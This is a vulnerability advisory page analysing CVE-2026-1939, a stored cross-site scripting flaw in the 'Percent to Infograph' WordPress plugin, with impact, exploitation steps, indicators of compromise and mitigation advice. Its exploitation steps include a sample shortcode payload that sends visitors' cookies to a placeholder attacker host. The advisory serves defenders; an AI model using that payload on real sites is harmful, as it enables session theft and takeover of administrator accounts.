CVE-2026-1939: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1939 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Percent to Infograph" plugin for WordPress. It affects all versions up to and including 1.0, stemming from insufficient input sanitization and output escaping on user-supplied attributes within the percent_to_graph shortcode. The vulnerability was published on February 14, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Attackers with contributor-level (or higher) WordPress accounts can embed malicious JavaScript payloads within the percent_to_graph shortcode attributes, which are then stored in the database and rendered unsanitized to any visitor who loads the affected page. Exploitation requires no special configuration beyond having a contributor account and the ability to create or edit posts/pages containing the vulnerable shortcode (Red Hat CVE, Wordfence).

Impact

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts into WordPress pages, which execute in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement. The scope is changed (S:C), meaning the injected script can affect users beyond the attacker's own session context (Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic risk on sites with open registration (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the "Percent to Infograph" plugin version 1.0 or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
  2. Obtain contributor access: Register or compromise a contributor-level (or higher) account on the target WordPress site.
  3. Craft malicious shortcode: Create or edit a post/page and insert a percent_to_graph shortcode with a malicious JavaScript payload embedded in a vulnerable attribute, e.g., [percent_to_graph attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the content: Save and publish the post/page so the payload is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the injected page, the browser renders the unsanitized attribute and executes the malicious script, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing percent_to_graph shortcode with unusual attribute values (e.g., <script>, javascript:, onerror=, encoded variants).
  • Database: Suspicious entries in the wp_posts table where post_content contains percent_to_graph shortcode with embedded script tags or event handler attributes.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the percent_to_graph shortcode, potentially carrying cookie or session data in query parameters.
  • File System: Unexpected new PHP files or modifications to theme/plugin files if the XSS payload was used to escalate privileges and install a backdoor via an administrator session.

Mitigation and workarounds

Site administrators should update the "Percent to Infograph" plugin to a version beyond 1.0 that includes proper input sanitization and output escaping, once a patched release is available from the plugin author. In the interim, disabling or removing the plugin entirely is the safest workaround. Additionally, restricting contributor-level registration and auditing existing contributor accounts can reduce the attack surface (Wordfence, Red Hat CVE).

Community reactions

Wordfence included CVE-2026-1939 in their weekly WordPress vulnerability report for February 9–15, 2026, as part of routine plugin vulnerability tracking. Red Hat also catalogued the CVE. No significant independent researcher commentary, social media discussion, or broader media coverage has been identified for this vulnerability, consistent with its medium severity and limited exploitation potential (Wordfence, Red Hat CVE).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management